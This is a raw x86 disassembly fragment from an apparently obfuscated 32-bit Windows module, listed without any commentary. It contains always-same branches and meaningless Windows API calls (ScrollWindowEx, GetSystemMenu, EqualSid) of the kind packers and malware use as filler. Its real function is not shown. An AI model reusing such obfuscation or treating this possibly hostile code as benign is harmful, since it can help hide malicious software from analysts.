jl 0x1002cc03
lea edi, [ebp - 0x754]
push 4
pop eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x20], 0xbcd8c45c
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1002c726
push 0x210
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1002c74f
push 0x11f6
push ebx
push ebx
push ebx
push ebx
push 0x1ae2
push 0xeaf
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ScrollWindowEx]
or eax, 0xffffffff
lea ecx, [ebp - 0x5e4]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x38], 0x9a5a165f
push 2
call fcn.100248e9
push esi
lea ecx, [ebp - 0x328]
mov dword [ebp - 4], 9
call fcn.100248e9
mov dword [ebp - 0x14], ebx
jmp 0x1002c794
dec dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0xffffffe6
jl 0x1002c2c7
mov dword [ebp - 0x2c], 8
mov ecx, 0x8e1b8814
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x2c], 0xd
cmp dword [ebp - 0x2c], edi
je 0x1002cdef
xor esi, esi
inc esi
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0xdc], ebx
mov dword [ebp - 0xd8], ebx
mov dword [ebp - 0xd4], ebx
mov dword [ebp - 0xd0], ebx
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x2c]
cmp ecx, eax
sbb edx, edx
inc edx
cmp dword [ebp - 0x2c], esi
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edx
mov eax, dword [ebp - 0x24]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge dl
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x24], ebx
jmp 0x1002cdd2
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1002cdbe
mov dword [ebp - 0x44], 0x1ce8
cmp dword [ebp - 0x44], 0xafe
jge 0x1002cdb0
movzx eax, byte [0x10f860ae]
push eax
lea eax, [ebp - 0x20c]
mov dword [0x10dfde40], ebx
push eax
push ecx
lea eax, [ebp - 0x818]
mov dword [ebp - 0x20c], ebx
push eax
call fcn.10037df8
mov ebx, esi
mov esi, 0x10dfde44
mov eax, dword [esi - 4]
mov ecx, eax
sub ecx, ebx
test ecx, ecx
jle 0x1002cd36
mov edx, dword [0x10f858b8]
mov edi, edx
mov eax, dword [edx + 4]
cmp byte [eax + 0xd], 0
jne 0x1002cd1f
cmp dword [eax + 0x10], ecx
jge 0x1002ccfe
mov eax, dword [eax + 8]
jmp 0x1002cd02
mov edi, eax
mov eax, dword [eax]
cmp byte [eax + 0xd], 0
je 0x1002ccf4
cmp edi, edx
je 0x1002cd1f
cmp ecx, dword [edi + 0x10]
jl 0x1002cd1f
mov dword [ebp - 0x1bc], edi
lea eax, [ebp - 0x1bc]
jmp 0x1002cd2b
mov dword [ebp - 0x234], edx
lea eax, [ebp - 0x234]
cmp dword [eax], edx
jne 0x1002cd33
mov dword [esi], ecx
jmp 0x1002cd3a
mov eax, dword [esi - 4]
add eax, ebx
mov dword [esi], eax
movzx eax, byte [0x10f860ae]
push eax
push esi
push ecx
lea eax, [ebp - 0x810]
mov ecx, 0x10f858b8
push eax
call fcn.10037eb5
push 4
pop eax
add esi, eax
inc ebx
cmp esi, 0x10dfe03c
jl 0x1002ccd8
lea eax, [ebp - 0x90]
mov ebx, 0x100080b8
push eax
push ebx
call fcn.1004cd7b
pop ecx
pop ecx
or edi, 0xffffffff
mov eax, dword [ebp - 0x90]
cmp eax, edi
je 0x1002cdab
push dword [eax*4 + 0x10dfde40]
push 0x100080c8
call fcn.1004d1c8
lea eax, [ebp - 0x90]
push eax
push ebx
call fcn.1004cd7b
add esp, 0x10
jmp 0x1002cd7e
xor esi, esi
xor ebx, ebx
inc esi
push esi
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1002cdcf
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jle 0x1002cc88
dec dword [ebp - 0x2c]
mov ecx, 0x8e1b8814
cmp dword [ebp - 0x2c], edi
jne 0x1002cc35
jmp 0x1002cdf2
xor esi, esi
inc esi
mov eax, dword [0x1006a62c]
mov dword [ebp - 0x2c], 8
mov dword [ebp - 0x20], edi
mov dword [ebp - 0x44], ebx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x2c], 0xd
jmp 0x1002ce9c
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0xdc], ebx
mov dword [ebp - 0xd8], ebx
mov dword [ebp - 0xd4], ebx
mov dword [ebp - 0xd0], ebx
mov eax, dword [ebp - 0x20]
imul eax, dword [ebp - 0x2c]
cmp ecx, eax
sbb edx, edx
inc edx
cmp dword [ebp - 0x2c], esi
sbb eax, eax
xor ecx, ecx
inc eax
cmp eax, edx
mov eax, dword [ebp - 0x24]
setle cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x2c]
setge dl
xor ecx, ecx
cmp eax, edx
setne cl
mov dword [ebp - 0x44], ecx
mov dword [ebp - 0x24], ebx
jmp 0x1002ce8e
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1002ce7a
push esi
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetSystemMenu]
mov byte [ebp - 0xd], bl
cmp byte [ebp - 0xd], 0
je 0x1002ce8b
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_EqualSid]
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 3
jle 0x1002ce63
dec dword [ebp - 0x2c]
mov ecx, 0x8e1b8814
cmp dword [ebp - 0x2c], edi
jne 0x1002ce13
mov dword [ebp - 0x1c], 0xecb45710
mov dword [ebp - 0x14], ebx
jmp 0x1002cec2
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x7fc], 0x41b3c692
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1002ceb1
push 4
mov dword [ebp - 0x14], ebx
pop ecx
jmp 0x1002cee1